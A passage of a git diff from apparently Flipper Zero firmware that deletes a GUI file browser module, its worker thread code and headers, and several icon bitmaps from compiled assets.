string_set_str(app->file_path, "/any/badusb/demo_windows.txt"); - scene_manager_next_scene(app->scene_manager, FileBrowserSceneBrowser); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void file_browser_scene_start_on_enter(void* context) { - FileBrowserApp* app = context; - - widget_add_string_multiline_element( - app->widget, 64, 20, AlignCenter, AlignTop, FontSecondary, "Press OK to start"); - - widget_add_button_element( - app->widget, GuiButtonTypeCenter, "Ok", file_browser_scene_start_ok_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewStart); -} - -void file_browser_scene_start_on_exit(void* context) { - UNUSED(context); - FileBrowserApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c deleted file mode 100644 index 1cef1d079..000000000 --- a/applications/gui/modules/file_browser.c +++ /dev/null @@ -1,534 +0,0 @@ -#include "file_browser.h" -#include "assets_icons.h" -#include "cmsis_os2.h" -#include "file_browser_worker.h" -#include "furi/check.h" -#include "furi/common_defines.h" -#include "furi/log.h" -#include "furi_hal_resources.h" -#include "m-string.h" -#include -#include -#include -#include "toolbox/path.h" - -#define LIST_ITEMS 5u -#define MAX_LEN_PX 110 -#define FRAME_HEIGHT 12 -#define Y_OFFSET 3 - -#define ITEM_LIST_LEN_MAX 100 - -typedef enum { - BrowserItemTypeLoading, - BrowserItemTypeBack, - BrowserItemTypeFolder, - BrowserItemTypeFile, -} BrowserItemType; - -typedef struct { - string_t path; - BrowserItemType type; -} BrowserItem_t; - -static void BrowserItem_t_init(BrowserItem_t* obj) { - obj->type = BrowserItemTypeLoading; - string_init(obj->path); -} - -static void BrowserItem_t_init_set(BrowserItem_t* obj, const BrowserItem_t* src) { - obj->type = src->type; - string_init_set(obj->path, src->path); -} - -static void BrowserItem_t_set(BrowserItem_t* obj, const BrowserItem_t* src) { - obj->type = src->type; - string_set(obj->path, src->path); -} - -static void BrowserItem_t_clear(BrowserItem_t* obj) { - string_clear(obj->path); -} - -ARRAY_DEF( - items_array, - BrowserItem_t, - (INIT(API_2(BrowserItem_t_init)), - SET(API_6(BrowserItem_t_set)), - INIT_SET(API_6(BrowserItem_t_init_set)), - CLEAR(API_2(BrowserItem_t_clear)))) - -struct FileBrowser { - View* view; - BrowserWorker* worker; - const char* ext_filter; - bool skip_assets; - - FileBrowserCallback callback; - void* context; - - string_ptr result_path; -}; - -typedef struct { - items_array_t items; - - bool is_root; - bool folder_loading; - bool list_loading; - uint32_t item_cnt; - int32_t item_idx; - int32_t array_offset; - int32_t list_offset; - - const Icon* file_icon; - bool hide_ext; -} FileBrowserModel; - -static const Icon* BrowserItemIcons[] = { - [BrowserItemTypeLoading] = &I_loading_10px, - [BrowserItemTypeBack] = &I_back_10px, - [BrowserItemTypeFolder] = &I_dir_10px, - [BrowserItemTypeFile] = &I_unknown_10px, -}; - -static void file_browser_view_draw_callback(Canvas* canvas, void* _model); -static bool file_browser_view_input_callback(InputEvent* event, void* context); - -static void - browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root); -static void browser_list_load_cb(void* context, uint32_t list_load_offset); -static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); -static void browser_long_load_cb(void* context); - -FileBrowser* file_browser_alloc(string_ptr result_path) { - furi_assert(result_path); - FileBrowser* browser = malloc(sizeof(FileBrowser)); - browser->view = view_alloc(); - view_allocate_model(browser->view, ViewModelTypeLocking, sizeof(FileBrowserModel)); - view_set_context(browser->view, browser); - view_set_draw_callback(browser->view, file_browser_view_draw_callback); - view_set_input_callback(browser->view, file_browser_view_input_callback); - - browser->result_path = result_path; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_init(model->items); - return false; - }); - - return browser; -} - -void file_browser_free(FileBrowser* browser) { - furi_assert(browser); - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_clear(model->items); - return false; - }); - - view_free(browser->view); - free(browser); -} - -View* file_browser_get_view(FileBrowser* browser) { - furi_assert(browser); - return browser->view; -} - -void file_browser_configure( - FileBrowser* browser, - const char* extension, - bool skip_assets, - const Icon* file_icon, - bool hide_ext) { - furi_assert(browser); - - browser->ext_filter = extension; - browser->skip_assets = skip_assets; - - with_view_model( - browser->view, (FileBrowserModel * model) { - model->file_icon = file_icon; - model->hide_ext = hide_ext; - return false; - }); -} - -void file_browser_start(FileBrowser* browser, string_t path) { - furi_assert(browser); - browser->worker = file_browser_worker_alloc(path, browser->ext_filter, browser->skip_assets); - file_browser_worker_set_callback_context(browser->worker, browser); - file_browser_worker_set_folder_callback(browser->worker, browser_folder_open_cb); - file_browser_worker_set_list_callback(browser->worker, browser_list_load_cb); - file_browser_worker_set_item_callback(browser->worker, browser_list_item_cb); - file_browser_worker_set_long_load_callback(browser->worker, browser_long_load_cb); -} - -void file_browser_stop(FileBrowser* browser) { - furi_assert(browser); - file_browser_worker_free(browser->worker); - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); - model->item_cnt = 0; - model->item_idx = 0; - model->array_offset = 0; - model->list_offset = 0; - return false; - }); -} - -void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context) { - browser->context = context; - browser->callback = callback; -} - -static bool browser_is_item_in_array(FileBrowserModel* model, uint32_t idx) { - size_t array_size = items_array_size(model->items); - - if((idx >= (uint32_t)model->array_offset + array_size) || - (idx < (uint32_t)model->array_offset)) { - return false; - } - return true; -} - -static bool browser_is_list_load_required(FileBrowserModel* model) { - size_t array_size = items_array_size(model->items); - uint32_t item_cnt = (model->is_root) ? model->item_cnt : model->item_cnt - 1; - - if((model->list_loading) || (array_size >= item_cnt)) { - return false; - } - - if((model->array_offset > 0) && - (model->item_idx < (model->array_offset + ITEM_LIST_LEN_MAX / 4))) { - return true; - } - - if(((model->array_offset + array_size) < item_cnt) && - (model->item_idx > (int32_t)(model->array_offset + array_size - ITEM_LIST_LEN_MAX / 4))) { - return true; - } - - return false; -} - -static void browser_update_offset(FileBrowser* browser) { - furi_assert(browser); - - with_view_model( - browser->view, (FileBrowserModel * model) { - uint16_t bounds = model->item_cnt > (LIST_ITEMS - 1) ? 2 : model->item_cnt; - - if((model->item_cnt > (LIST_ITEMS - 1)) && - (model->item_idx >= ((int32_t)model->item_cnt - 1))) { - model->list_offset = model->item_idx - (LIST_ITEMS - 1); - } else if(model->list_offset < model->item_idx - bounds) { - model->list_offset = CLAMP( - model->item_idx - (int32_t)(LIST_ITEMS - 2), - (int32_t)model->item_cnt - bounds, - 0); - } else if(model->list_offset > model->item_idx - bounds) { - model->list_offset = - CLAMP(model->item_idx - 1, (int32_t)model->item_cnt - bounds, 0); - } - - return false; - }); -} - -static void - browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - int32_t load_offset = 0; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); - if(is_root) { - model->item_cnt = item_cnt; - model->item_idx = (file_idx > 0) ? file_idx : 0; - load_offset = - CLAMP(model->item_idx - ITEM_LIST_LEN_MAX / 2, (int32_t)model->item_cnt, 0); - } else { - model->item_cnt = item_cnt + 1; - model->item_idx = file_idx + 1; - load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 2 - 1, (int32_t)model->item_cnt - 1, 0); - } - model->array_offset = 0; - model->list_offset = 0; - model->is_root = is_root; - model->list_loading = true; - model->folder_loading = false; - return true; - }); - browser_update_offset(browser); - - file_browser_worker_load(browser->worker, load_offset, ITEM_LIST_LEN_MAX); -} - -static void browser_list_load_cb(void* context, uint32_t list_load_offset) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - BrowserItem_t back_item; - BrowserItem_t_init(&back_item); - back_item.type = BrowserItemTypeBack; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); - model->array_offset = list_load_offset; - if(!model->is_root) { - if(list_load_offset == 0) { - items_array_push_back(model->items, back_item); - } else { - model->array_offset += 1; - } - } - return false; - }); - - BrowserItem_t_clear(&back_item); -} - -static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - BrowserItem_t item; - - if(!is_last) { - BrowserItem_t_init(&item); - string_set(item.path, item_path); - item.type = (is_folder) ? BrowserItemTypeFolder : BrowserItemTypeFile; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_push_back(model->items, item); - return false; - }); - BrowserItem_t_clear(&item); - } else { - with_view_model( - browser->view, (FileBrowserModel * model) { - model->list_loading = false; - return true; - }); - } -} - -static void browser_long_load_cb(void* context) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - with_view_model( - browser->view, (FileBrowserModel * model) { - model->folder_loading = true; - return true; - }); -} - -static void browser_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT, (scrollbar ? 122 : 127), FRAME_HEIGHT); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 1, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + 1); - - canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); - canvas_draw_dot(canvas, scrollbar ? 121 : 126, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot( - canvas, scrollbar ? 121 : 126, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); -} - -static void browser_draw_loading(Canvas* canvas, FileBrowserModel* model) { - uint8_t width = 49; - uint8_t height = 47; - uint8_t x = 128 / 2 - width / 2; - uint8_t y = 64 / 2 - height / 2; - - UNUSED(model); - - elements_bold_rounded_frame(canvas, x, y, width, height); - - canvas_set_font(canvas, FontSecondary); - elements_multiline_text(canvas, x + 7, y + 13, "Loading..."); - - canvas_draw_icon(canvas, x + 13, y + 19, &A_Loading_24); -} - -static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { - uint32_t array_size = items_array_size(model->items); - bool show_scrollbar = model->item_cnt > LIST_ITEMS; - - string_t filename; - string_init(filename); - - for(uint32_t i = 0; i < MIN(model->item_cnt, LIST_ITEMS); i++) { - int32_t idx = CLAMP((uint32_t)(i + model->list_offset), model->item_cnt, 0u); - - BrowserItemType item_type = BrowserItemTypeLoading; - - if(browser_is_item_in_array(model, idx)) { - BrowserItem_t* item = items_array_get( - model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); - item_type = item->type; - path_extract_filename( - item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); - } else { - string_set_str(filename, "---"); - } - - if(item_type == BrowserItemTypeBack) { - string_set_str(filename, ". ."); - } - - elements_string_fit_width( - canvas, filename, (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX)); - - if(model->item_idx == idx) { - browser_draw_frame(canvas, i, show_scrollbar); - } else { - canvas_set_color(canvas, ColorBlack); - } - - if((item_type == BrowserItemTypeFile) && (model->file_icon)) { - canvas_draw_icon(canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, model->file_icon); - } else if(BrowserItemIcons[item_type] != NULL) { - canvas_draw_icon( - canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, BrowserItemIcons[item_type]); - } - canvas_draw_str(canvas, 15, Y_OFFSET + 9 + i * FRAME_HEIGHT, string_get_cstr(filename)); - } - - if(show_scrollbar) { - elements_scrollbar_pos( - canvas, - 126, - Y_OFFSET, - canvas_height(canvas) - Y_OFFSET, - model->item_idx, - model->item_cnt); - } - - string_clear(filename); -} - -static void file_browser_view_draw_callback(Canvas* canvas, void* _model) { - FileBrowserModel* model = _model; - - if(model->folder_loading) { - browser_draw_loading(canvas, model); - } else { - browser_draw_list(canvas, model); - } -} - -static bool file_browser_view_input_callback(InputEvent* event, void* context) { - FileBrowser* browser = context; - furi_assert(browser); - bool consumed = false; - bool is_loading = false; - - with_view_model( - browser->view, (FileBrowserModel * model) { - is_loading = model->folder_loading; - return false; - }); - - if(is_loading) { - return false; - } else if(event->key == InputKeyUp || event->key == InputKeyDown) { - if(event->type == InputTypeShort || event->type == InputTypeRepeat) { - with_view_model( - browser->view, (FileBrowserModel * model) { - if(event->key == InputKeyUp) { - model->item_idx = - ((model->item_idx - 1) + model->item_cnt) % model->item_cnt; - if(browser_is_list_load_required(model)) { - model->list_loading = true; - int32_t load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 4 * 3, - (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, - 0); - file_browser_worker_load( - browser->worker, load_offset, ITEM_LIST_LEN_MAX); - } - } else if(event->key == InputKeyDown) { - model->item_idx = (model->item_idx + 1) % model->item_cnt; - if(browser_is_list_load_required(model)) { - model->list_loading = true; - int32_t load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 4 * 1, - (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, - 0); - file_browser_worker_load( - browser->worker, load_offset, ITEM_LIST_LEN_MAX); - } - } - return true; - }); - browser_update_offset(browser); - consumed = true; - } - } else if(event->key == InputKeyOk) { - if(event->type == InputTypeShort) { - BrowserItem_t* selected_item = NULL; - int32_t select_index = 0; - with_view_model( - browser->view, (FileBrowserModel * model) { - if(browser_is_item_in_array(model, model->item_idx)) { - selected_item = - items_array_get(model->items, model->item_idx - model->array_offset); - select_index = model->item_idx; - if((!model->is_root) && (select_index > 0)) { - select_index -= 1; - } - } - return false; - }); - - if(selected_item) { - if(selected_item->type == BrowserItemTypeBack) { - file_browser_worker_folder_exit(browser->worker); - } else if(selected_item->type == BrowserItemTypeFolder) { - file_browser_worker_folder_enter( - browser->worker, selected_item->path, select_index); - } else if(selected_item->type == BrowserItemTypeFile) { - string_set(browser->result_path, selected_item->path); - if(browser->callback) { - browser->callback(browser->context); - } - } - } - consumed = true; - } - } else if(event->key == InputKeyLeft) { - if(event->type == InputTypeShort) { - bool is_root = false; - with_view_model( - browser->view, (FileBrowserModel * model) { - is_root = model->is_root; - return false; - }); - if(!is_root) { - file_browser_worker_folder_exit(browser->worker); - } - consumed = true; - } - } - - return consumed; -} diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h deleted file mode 100644 index ebc64509a..000000000 --- a/applications/gui/modules/file_browser.h +++ /dev/null @@ -1,39 +0,0 @@ -/** - * @file file_browser.h - * GUI: FileBrowser view module API - */ - -#pragma once - -#include "m-string.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct FileBrowser FileBrowser; -typedef void (*FileBrowserCallback)(void* context); - -FileBrowser* file_browser_alloc(string_ptr result_path); - -void file_browser_free(FileBrowser* browser); - -View* file_browser_get_view(FileBrowser* browser); - -void file_browser_configure( - FileBrowser* browser, - const char* extension, - bool skip_assets, - const Icon* file_icon, - bool hide_ext); - -void file_browser_start(FileBrowser* browser, string_t path); - -void file_browser_stop(FileBrowser* browser); - -void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c deleted file mode 100644 index 93baba008..000000000 --- a/applications/gui/modules/file_browser_worker.c +++ /dev/null @@ -1,408 +0,0 @@ -#include "file_browser_worker.h" -#include "furi/check.h" -#include "furi/common_defines.h" -#include "m-string.h" -#include "storage/filesystem_api_defines.h" -#include -#include -#include -#include -#include -#include "toolbox/path.h" - -#define TAG "BrowserWorker" - -#define ASSETS_DIR "assets" -#define BROWSER_ROOT "/any" -#define FILE_NAME_LEN_MAX 256 -#define LONG_LOAD_THRESHOLD 100 - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtLoad = (1 << 1), - WorkerEvtFolderEnter = (1 << 2), - WorkerEvtFolderExit = (1 << 3), -} WorkerEvtFlags; - -#define WORKER_FLAGS_ALL \ - (WorkerEvtStop | WorkerEvtLoad | WorkerEvtFolderEnter | WorkerEvtFolderExit) - -ARRAY_DEF(idx_last_array, int32_t) - -struct BrowserWorker { - FuriThread* thread; - - string_t filter_extension; - string_t path_next; - int32_t item_sel_idx; - uint32_t load_offset; - uint32_t load_count; - bool skip_assets; - idx_last_array_t idx_last; - - void* cb_ctx; - BrowserWorkerFolderOpenCallback folder_cb; - BrowserWorkerListLoadCallback list_load_cb; - BrowserWorkerListItemCallback list_item_cb; - BrowserWorkerLongLoadCallback long_load_cb; -}; - -static bool browser_path_is_file(string_t path) { - bool state = false; - FileInfo file_info; - Storage* storage = furi_record_open("storage"); - if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { - if((file_info.flags & FSF_DIRECTORY) == 0) { - state = true; - } - } - furi_record_close("storage"); - return state; -} - -static bool browser_path_trim(string_t path) { - bool is_root = false; - size_t filename_start = string_search_rchar(path, '/'); - string_left(path, filename_start); - if((string_empty_p(path)) || (filename_start == STRING_FAILURE)) { - string_set_str(path, BROWSER_ROOT); - is_root = true; - } - return is_root; -} - -static bool browser_filter_by_name(BrowserWorker* browser, string_t name, bool is_folder) { - if(is_folder) { - // Skip assets folders (if enabled) - if(browser->skip_assets) { - return ((string_cmp_str(name, ASSETS_DIR) == 0) ? (false) : (true)); - } else { - return true; - } - } else { - // Filter files by extension - if((string_empty_p(browser->filter_extension)) || - (string_cmp_str(browser->filter_extension, "*") == 0)) { - return true; - } - if(string_end_with_string_p(name, browser->filter_extension)) { - return true; - } - } - return false; -} - -static bool browser_folder_check_and_switch(string_t path) { - FileInfo file_info; - Storage* storage = furi_record_open("storage"); - bool is_root = false; - while(1) { - // Check if folder is existing and navigate back if not - if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { - if(file_info.flags & FSF_DIRECTORY) { - break; - } - } - if(is_root) { - break; - } - is_root = browser_path_trim(path); - } - furi_record_close("storage"); - return is_root; -} - -static bool browser_folder_init( - BrowserWorker* browser, - string_t path, - string_t filename, - uint32_t* item_cnt, - int32_t* file_idx) { - bool state = false; - FileInfo file_info; - uint32_t total_files_cnt = 0; - - Storage* storage = furi_record_open("storage"); - File* directory = storage_file_alloc(storage); - - char name_temp[FILE_NAME_LEN_MAX]; - string_t name_str; - string_init(name_str); - - *item_cnt = 0; - *file_idx = -1; - - if(storage_dir_open(directory, string_get_cstr(path))) { - state = true; - while(1) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if((storage_file_get_error(directory) == FSE_OK) && (name_temp[0] != '\0')) { - total_files_cnt++; - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - if(!string_empty_p(filename)) { - if(string_cmp(name_str, filename) == 0) { - *file_idx = *item_cnt; - } - } - (*item_cnt)++; - } - if(total_files_cnt == LONG_LOAD_THRESHOLD) { - // There are too many files in folder and counting them will take some time - send callback to app - if(browser->long_load_cb) { - browser->long_load_cb(browser->cb_ctx); - } - } - } - } - } - - string_clear(name_str); - - storage_dir_close(directory); - storage_file_free(directory); - - furi_record_close("storage"); - - return state; -} - -static bool - browser_folder_load(BrowserWorker* browser, string_t path, uint32_t offset, uint32_t count) { - FileInfo file_info; - - Storage* storage = furi_record_open("storage"); - File* directory = storage_file_alloc(storage); - - char name_temp[FILE_NAME_LEN_MAX]; - string_t name_str; - string_init(name_str); - - uint32_t items_cnt = 0; - - do { - if(!storage_dir_open(directory, string_get_cstr(path))) { - break; - } - - items_cnt = 0; - while(items_cnt < offset) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if(storage_file_get_error(directory) == FSE_OK) { - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - items_cnt++; - } - } else { - break; - } - } - if(items_cnt != offset) { - break; - } - - if(browser->list_load_cb) { - browser->list_load_cb(browser->cb_ctx, offset); - } - - items_cnt = 0; - while(items_cnt < count) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if(storage_file_get_error(directory) == FSE_OK) { - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - string_printf(name_str, "%s/%s", string_get_cstr(path), name_temp); - if(browser->list_item_cb) { - browser->list_item_cb( - browser->cb_ctx, name_str, (file_info.flags & FSF_DIRECTORY), false); - } - items_cnt++; - } - } else { - break; - } - } - if(browser->list_item_cb) { - browser->list_item_cb(browser->cb_ctx, NULL, false, true); - } - } while(0); - - string_clear(name_str); - - storage_dir_close(directory); - storage_file_free(directory); - - furi_record_close("storage"); - - return (items_cnt == count); -} - -static int32_t browser_worker(void* context) { - BrowserWorker* browser = (BrowserWorker*)context; - furi_assert(browser); - FURI_LOG_D(TAG, "Start"); - - uint32_t items_cnt = 0; - string_t path; - string_init_set_str(path, BROWSER_ROOT); - browser->item_sel_idx = -1; - - // If start path is a path to the file - try finding index of this file in a folder - string_t filename; - string_init(filename); - if(browser_path_is_file(browser->path_next)) { - path_extract_filename(browser->path_next, filename, false); - } - - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); - - while(1) { - uint32_t flags = osThreadFlagsWait(WORKER_FLAGS_ALL, osFlagsWaitAny, osWaitForever); - furi_assert((flags & osFlagsError) == 0); - - if(flags & WorkerEvtFolderEnter) { - string_set(path, browser->path_next); - bool is_root = browser_folder_check_and_switch(path); - - // Push previous selected item index to history array - idx_last_array_push_back(browser->idx_last, browser->item_sel_idx); - - int32_t file_idx = 0; - browser_folder_init(browser, path, filename, &items_cnt, &file_idx); - FURI_LOG_D( - TAG, - "Enter folder: %s items: %u idx: %d", - string_get_cstr(path), - items_cnt, - file_idx); - if(browser->folder_cb) { - browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); - } - string_reset(filename); - } - - if(flags & WorkerEvtFolderExit) { - browser_path_trim(path); - bool is_root = browser_folder_check_and_switch(path); - - int32_t file_idx = 0; - browser_folder_init(browser, path, filename, &items_cnt, &file_idx); - if(idx_last_array_size(browser->idx_last) > 0) { - // Pop previous selected item index from history array - idx_last_array_pop_back(&file_idx, browser->idx_last); - } - FURI_LOG_D( - TAG, "Exit to: %s items: %u idx: %d", string_get_cstr(path), items_cnt, file_idx); - if(browser->folder_cb) { - browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); - } - } - - if(flags & WorkerEvtLoad) { - FURI_LOG_D(TAG, "Load offset: %u cnt: %u", browser->load_offset, browser->load_count); - browser_folder_load(browser, path, browser->load_offset, browser->load_count); - } - - if(flags & WorkerEvtStop) { - break; - } - } - - string_clear(filename); - string_clear(path); - - FURI_LOG_D(TAG, "End"); - return 0; -} - -BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets) { - BrowserWorker* browser = malloc(sizeof(BrowserWorker)); - - idx_last_array_init(browser->idx_last); - - string_init_set_str(browser->filter_extension, filter_ext); - browser->skip_assets = skip_assets; - string_init_set(browser->path_next, path); - - browser->thread = furi_thread_alloc(); - furi_thread_set_name(browser->thread, "BrowserWorker"); - furi_thread_set_stack_size(browser->thread, 2048); - furi_thread_set_context(browser->thread, browser); - furi_thread_set_callback(browser->thread, browser_worker); - furi_thread_start(browser->thread); - - return browser; -} - -void file_browser_worker_free(BrowserWorker* browser) { - furi_assert(browser); - - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtStop); - furi_thread_join(browser->thread); - furi_thread_free(browser->thread); - - string_clear(browser->filter_extension); - string_clear(browser->path_next); - - idx_last_array_clear(browser->idx_last); - - free(browser); -} - -void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context) { - furi_assert(browser); - browser->cb_ctx = context; -} - -void file_browser_worker_set_folder_callback( - BrowserWorker* browser, - BrowserWorkerFolderOpenCallback cb) { - furi_assert(browser); - browser->folder_cb = cb; -} - -void file_browser_worker_set_list_callback( - BrowserWorker* browser, - BrowserWorkerListLoadCallback cb) { - furi_assert(browser); - browser->list_load_cb = cb; -} - -void file_browser_worker_set_item_callback( - BrowserWorker* browser, - BrowserWorkerListItemCallback cb) { - furi_assert(browser); - browser->list_item_cb = cb; -} - -void file_browser_worker_set_long_load_callback( - BrowserWorker* browser, - BrowserWorkerLongLoadCallback cb) { - furi_assert(browser); - browser->long_load_cb = cb; -} - -void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx) { - furi_assert(browser); - string_set(browser->path_next, path); - browser->item_sel_idx = item_idx; - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); -} - -void file_browser_worker_folder_exit(BrowserWorker* browser) { - furi_assert(browser); - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderExit); -} - -void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count) { - furi_assert(browser); - browser->load_offset = offset; - browser->load_count = count; - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtLoad); -} diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h deleted file mode 100644 index b0d360a38..000000000 --- a/applications/gui/modules/file_browser_worker.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once - -#include "m-string.h" -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct BrowserWorker BrowserWorker; -typedef void (*BrowserWorkerFolderOpenCallback)( - void* context, - uint32_t item_cnt, - int32_t file_idx, - bool is_root); -typedef void (*BrowserWorkerListLoadCallback)(void* context, uint32_t list_load_offset); -typedef void (*BrowserWorkerListItemCallback)( - void* context, - string_t item_path, - bool is_folder, - bool is_last); -typedef void (*BrowserWorkerLongLoadCallback)(void* context); - -BrowserWorker* file_browser_worker_alloc(string_t path, const char* filter_ext, bool skip_assets); - -void file_browser_worker_free(BrowserWorker* browser); - -void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context); - -void file_browser_worker_set_folder_callback( - BrowserWorker* browser, - BrowserWorkerFolderOpenCallback cb); - -void file_browser_worker_set_list_callback( - BrowserWorker* browser, - BrowserWorkerListLoadCallback cb); - -void file_browser_worker_set_item_callback( - BrowserWorker* browser, - BrowserWorkerListItemCallback cb); - -void file_browser_worker_set_long_load_callback( - BrowserWorker* browser, - BrowserWorkerLongLoadCallback cb); - -void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx); - -void file_browser_worker_folder_exit(BrowserWorker* browser); - -void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count); - -#ifdef __cplusplus -} -#endif diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index e2ac18adc..d39a19ea1 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -40,9 +40,6 @@ const uint8_t* const _I_125_10px[] = {_I_125_10px_0}; const uint8_t _I_Nfc_10px_0[] = {0x00,0x80,0x00,0x00,0x01,0x22,0x02,0x43,0x02,0x45,0x02,0x49,0x02,0x31,0x02,0x22,0x02,0x00,0x01,0x80,0x00,}; const uint8_t* const _I_Nfc_10px[] = {_I_Nfc_10px_0}; -const uint8_t _I_back_10px_0[] = {0x00,0x00,0x00,0x10,0x00,0x38,0x00,0x7C,0x00,0xFE,0x00,0x38,0x00,0x38,0x00,0xF8,0x01,0xF8,0x01,0x00,0x00,}; -const uint8_t* const _I_back_10px[] = {_I_back_10px_0}; - const uint8_t _I_badusb_10px_0[] = {0x01,0x00,0x11,0x00,0x00,0x0f,0xe2,0x01,0xfc,0x80,0xdd,0x20,0x32,0x48,0x08,0x14,0x40,0x23,0xa8,0x08,0xa0,}; const uint8_t* const _I_badusb_10px[] = {_I_badusb_10px_0}; @@ -58,12 +55,6 @@ const uint8_t* const _I_ibutt_10px[] = {_I_ibutt_10px_0}; const uint8_t _I_ir_10px_0[] = {0x00,0xFC,0x00,0x02,0x01,0x79,0x02,0x84,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x58,0x00,0x78,0x00,0xFF,0x03,}; const uint8_t* const _I_ir_10px[] = {_I_ir_10px_0}; -const uint8_t _I_loading_10px_0[] = {0x00,0xFE,0x00,0x82,0x00,0xBA,0x00,0x54,0x00,0x28,0x00,0x28,0x00,0x44,0x00,0x92,0x00,0xBA,0x00,0xFE,0x00,}; -const uint8_t* const _I_loading_10px[] = {_I_loading_10px_0}; - -const uint8_t _I_music_10px_0[] = {0x01,0x00,0x10,0x00,0xf0,0x00,0x46,0x03,0x20,0x80,0x00,0x4e,0x7d,0x00,0x9f,0x80,0x4a,0x3c,0x13,0x20,}; -const uint8_t* const _I_music_10px[] = {_I_music_10px_0}; - const uint8_t _I_sub1_10px_0[] = {0x01,0x00,0x12,0x00,0x81,0x40,0x69,0x30,0x2c,0x2c,0x0b,0x6a,0x01,0x28,0x0c,0x0a,0x65,0x01,0x98,0x40,0x00,0x26,}; const uint8_t* const _I_sub1_10px[] = {_I_sub1_10px_0}; @@ -706,14 +697,11 @@ const Icon A_Levelup1_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rat const Icon A_Levelup2_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rate=2,.frames=_A_Levelup2_128x64}; const Icon I_125_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_125_10px}; const Icon I_Nfc_10px = 